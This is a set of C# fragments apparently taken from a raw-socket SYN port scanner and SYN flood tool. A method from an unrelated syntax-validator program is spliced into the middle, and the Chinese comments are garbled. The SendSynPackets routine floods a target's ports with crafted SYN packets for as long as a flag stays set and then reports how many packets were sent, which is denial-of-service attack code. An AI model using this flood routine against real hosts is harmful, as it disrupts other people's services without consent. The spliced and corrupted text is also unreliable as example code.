//==========���崫����̱�ʾ��=========BEGIN
//private Thread SenderThread;
//private Thread CatcherThread;
//==========���崫����̱�ʾ��=========END
public void SenderSocket()
{
try
{
//Thread lner = new Thread(new ThreadStart(listen));
//lner.Start();
for (int i = startPort; i <= endPort; i++)
{
try
{
IPHostEntry pe = Dns.GetHostByName(aimAddr);
uint ip = Convert.ToUInt32(pe.AddressList[0].Address);//����Ҫ������ip��תΪ�����ֽ���
ushort port = ushort.Parse(i.ToString());
IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port);
Updateloglist(ui, port);
//byte[] bt = BitConverter.GetBytes(port);
//Array.Reverse(bt);
//port = BitConverter.ToUInt16(bt, 0);
int xiancheng = 1;//!
Random rand = new Random();
Thread[] t = new Thread[xiancheng];
syn[] sy = new syn[xiancheng];
for (int j = 0; j < xiancheng; j++)
{
sy[j] = new syn(ip, port, ep, rand);
t[j] = new Thread(new ThreadStart(sy[j].synFS));
t[j].Start();
}
Scanner.finishPort++;
}
catch
{
//MessageBox.Show("����δ֪����");
UpdateTBResult(ui, "����δ֪����\r\n");
}
}
//listen();
}
catch (Exception ex)
{
//MessageBox.Show(ex.Message);
UpdateTBResult(ui, ex.Message.ToString() + "\r\n");
}
}
static void Main(string[] args)
{
syn syntax = new syn();
int counter = 0;
int count = 0;
string line;
System.IO.File.WriteAllText("check.txt", string.Empty);
System.IO.File.WriteAllText("int.txt", string.Empty);
System.IO.File.WriteAllText("float.txt", string.Empty);
System.IO.File.WriteAllText("string.txt", string.Empty);
System.IO.File.WriteAllText("char.txt", string.Empty);
System.IO.File.WriteAllText("icg.txt", string.Empty);
// Read the file and display it line by line.
System.IO.StreamReader file =
new System.IO.StreamReader("d:\\VS 2012/Lexical2/Lexical/bin/Debug/classpart.txt");
while ((line = file.ReadLine()) != null)
{
counter++;
}
file.Close();
syntax.arr(counter);
System.IO.StreamReader file1 =
new System.IO.StreamReader("d:\\VS 2012/Lexical2/Lexical/bin/Debug/classpart.txt");
while ((line = file1.ReadLine()) != null)
{
//Console.WriteLine(line);
syntax.set(line);
counter++;
}
file1.Close();
syntax.get();
// syntax.get();
bool check;
check = syntax.validate();
if (check == true)
{
Console.WriteLine("valid");
}
else
{
Console.WriteLine("not valid");
}
Console.ReadLine();
}
/// <summary>
/// ��ȡ��
/// </summary>
/// <param name="sender"></param>
/// <param name="args"></param>
public void TcpSyn_PacketArrival(object sender, RawSocket.PacketArrivedEventArgs args)
{
if (args.Protocol == "TCP" && args.OriginationAddress == aimAddr)
{
//�������ݰ�
byte[] revMsg = args.ReceiveBuffer;
byte flag = revMsg[33];
ushort port = BitConverter.ToUInt16(revMsg, 20);
byte[] rport = BitConverter.GetBytes(port);
Array.Reverse(rport);
port = BitConverter.ToUInt16(rport, 0);
if (flag == 0x0012)
{
Updateportlist1(ui,port);
success = true;
#region ������յ�SYN|ACK������һ��RST�źŹر�����
IPAddress ipAddr = IPAddress.Parse(aimAddr);
IPEndPoint iep = new IPEndPoint(ipAddr, Convert.ToInt32(port));
Random rand = new Random();
uint ip = BitConverter.ToUInt32(ipAddr.GetAddressBytes(), 0);
syn rstSock = new syn(ip, port, iep, rand, Convert.ToByte(0x04));
rstSock.synFS();
#endregion
}
if (Scanner.finishPort == System.Math.Abs(endPort - startPort + 1) || rSocket.ErrorOccurred || rSocket.KeepRunning == false )
{
UpdateTBResult(ui, "Finish!\r\n");
rSocket.Shutdown();
UpdateBtnStart(ui, true);
}
}
}
/// <summary>
/// ����TcySyn��
/// </summary>
/// <param name="aimAddr"></param>
/// <param name="port"></param>
/// <returns></returns>
public void SendSynPackets()
{
//byte[] szSendBuf = new byte[100];
try
{
//��ȡĿ��������Ϣ IP��ַ
IPHostEntry ipAddr = Dns.GetHostByName(aimAddr);
while (keepFlood)
{
for (int port = startPort; port <= endPort; port++)
{
//ѭ��ɨ������˿�
IPEndPoint iep = new IPEndPoint(ipAddr.AddressList[0], port);
try
{
#region ����TCP�� �°�
Random rand = new Random();
uint ip = Convert.ToUInt32(ipAddr.AddressList[0].Address);
syn synSock = new syn(ip, Convert.ToUInt16(port), iep, rand, Convert.ToByte(0x02));
synSock.synFS();
#endregion
}
catch (Exception ex)
{
UpdateTBResult(ui, ex.Message.ToString());
}
finally
{
//scanSock.Close();
}
//���㷢�Ͱ�������
packetNum++;
}
}
}
catch
{
}
threadFinish++;
if (threadFinish == threadCount)
{
//�����߳�ȫ�����
//packetNum = packetNum*threadCount;
string ret = "SynFlood�������������� " + aimAddr + " ������ " + packetNum.ToString() + " �����ݰ�\r\n";
UpdateTBResult(ui, ret);
}
}
/// <summary>
/// ����TcySyn��
/// </summary>
/// <param name="aimAddr"></param>
/// <param name="port"></param>
/// <returns></returns>
public void ScanPorts()
{
try
{
//��ȡĿ��������Ϣ IP��ַ
IPAddress ipAddr = IPAddress.Parse(aimAddr);
for (int port = startPort; port <= endPort; port++)
{
//ѭ��ɨ������˿�
Updateloglist(ui,port);
Scanner.finishPort++;
IPEndPoint iep = new IPEndPoint(ipAddr, port);
try
{
#region ����TCP�� �°�
Random rand = new Random();
uint ip = BitConverter.ToUInt32(ipAddr.GetAddressBytes(), 0);
syn synSock = new syn(ip, Convert.ToUInt16(port), iep, rand, Convert.ToByte(0x02));
synSock.synFS();
#endregion
}
catch(Exception ex)
{
UpdateTBResult(ui, ex.Message.ToString() + "\r\n");
}
finally
{
}
}
}
catch
{
}
}
